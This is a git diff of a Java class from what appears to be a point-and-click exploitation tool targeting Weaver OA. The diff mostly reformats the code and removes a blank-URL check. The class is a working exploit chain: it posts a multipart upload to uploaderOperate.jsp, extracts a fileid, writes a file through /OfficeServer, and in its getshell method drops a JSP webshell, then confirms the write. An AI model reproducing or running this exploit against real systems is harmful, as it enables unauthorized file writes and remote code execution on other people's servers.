66import cn .hutool .core .util .StrUtil ;
77import core .Exploitlnterface ;
88import javafx .scene .control .TextArea ;
9+
910import java .util .HashMap ;
1011import java .util .regex .Matcher ;
1112import java .util .regex .Pattern ;
1213
13- public class weaveroa_workrelate_uploadOperation implements Exploitlnterface {
14- private HashMap <String ,String > headers = new HashMap <>();
14+ public class weaveroa_workrelate_uploadOperation implements Exploitlnterface {
15+ private HashMap <String , String > headers = new HashMap <>();
1516 private String fileid = "" ;
1617
1718 @ Override
1819 public Boolean checkVul (String str , TextArea textArea ) {
19- Boolean att = this .att (str , shell .Testpath , textArea ,"nishizhu.txt" );
20+ Boolean att = this .att (str , shell .Testpath , textArea , "nishizhu.txt" );
2021 return att ;
2122 }
2223
2324 @ Override
2425 public Boolean getshell (String str , TextArea textArea ) {
25- Boolean att = this .att (str , shell .Jsppath , textArea ,"nishizhu.jsp" );
26+ Boolean att = this .att (str , shell .Jsppath , textArea , "nishizhu.jsp" );
2627 return att ;
2728 }
2829
29- private Boolean att (String url ,String path ,TextArea textArea ,String filename ){
30- String color ="-fx-text-fill: black" ;
31- if (StrUtil .isBlank (url )){
32- textArea .appendText ("请填写URL!!!" );
33- color ="-fx-text-fill: red" ;
34- textArea .setStyle (color +"; -fx-font-size: 16px;" );
35- throw new RuntimeException ("URL 不存在" );
36- }
37- textArea .setStyle (color +"; -fx-font-size: 16px;" );
38- this .headers .put ("Content-Type" ,"multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaK" );
30+ private Boolean att (String url , String path , TextArea textArea , String filename ) {
31+ this .headers .put ("Content-Type" , "multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaK" );
3932 String fir_post = "------WebKitFormBoundarymVk33liI64J7GQaK\r \n " +
4033 "Content-Disposition: form-data; name=\" secId\" \r \n " +
4134 "\r \n " +
@@ -53,7 +46,7 @@ private Boolean att(String url,String path,TextArea textArea,String filename){
5346 Response post = HttpTools .post (url + "/workrelate/plan/util/uploaderOperate.jsp" , fir_post , headers , "utf-8" );
5447
5548
56- if (post .getCode () == 200 && post .getText ().contains ("&fileid=" )){
49+ if (post .getCode () == 200 && post .getText ().contains ("&fileid=" )) {
5750
5851 textArea .appendText ("\n fileid获取成功 开始释放" );
5952 //使用正则表达式抓取filedid
@@ -72,26 +65,26 @@ private Boolean att(String url,String path,TextArea textArea,String filename){
7265 "------WebKitFormBoundarymVk33liI64J7GQaK--" ;
7366
7467 Response sec = HttpTools .post (url + "/OfficeServer" , sec_post , this .headers , "utf-8" );
75- if (sec .getCode () == 200 && sec .getText ().contains (shell .test_payload )){
68+ if (sec .getCode () == 200 && sec .getText ().contains (shell .test_payload )) {
7669
7770 textArea .appendText ("\n 释放成功 检测写入状态" );
7871 Response thired = HttpTools .get (url + "/" + filename , new HashMap <String , String >(), "utf-8" );
7972
80- if (thired .getText ().contains (shell .test_payload )){
73+ if (thired .getText ().contains (shell .test_payload )) {
8174 textArea .appendText ("\n 漏洞存在,测试文件写入成功 \n " + url + "/" + filename );
8275 return true ;
83- }else {
76+ } else {
8477 textArea .appendText ("\n 漏洞可能存在,疑似WAF拦截,请手动复现" );
8578 return false ;
8679 }
8780
88- }else {
81+ } else {
8982 textArea .appendText ("\n 漏洞可能存在,疑似WAF拦截,请手动复现" );
9083 return false ;
9184 }
9285
9386
94- }else {
87+ } else {
9588 textArea .appendText ("\n weaveroa_workrelate_uploadOperation - 漏洞不存在 (出现误报请联系作者)" );
9689 return false ;
9790 }
0 commit comments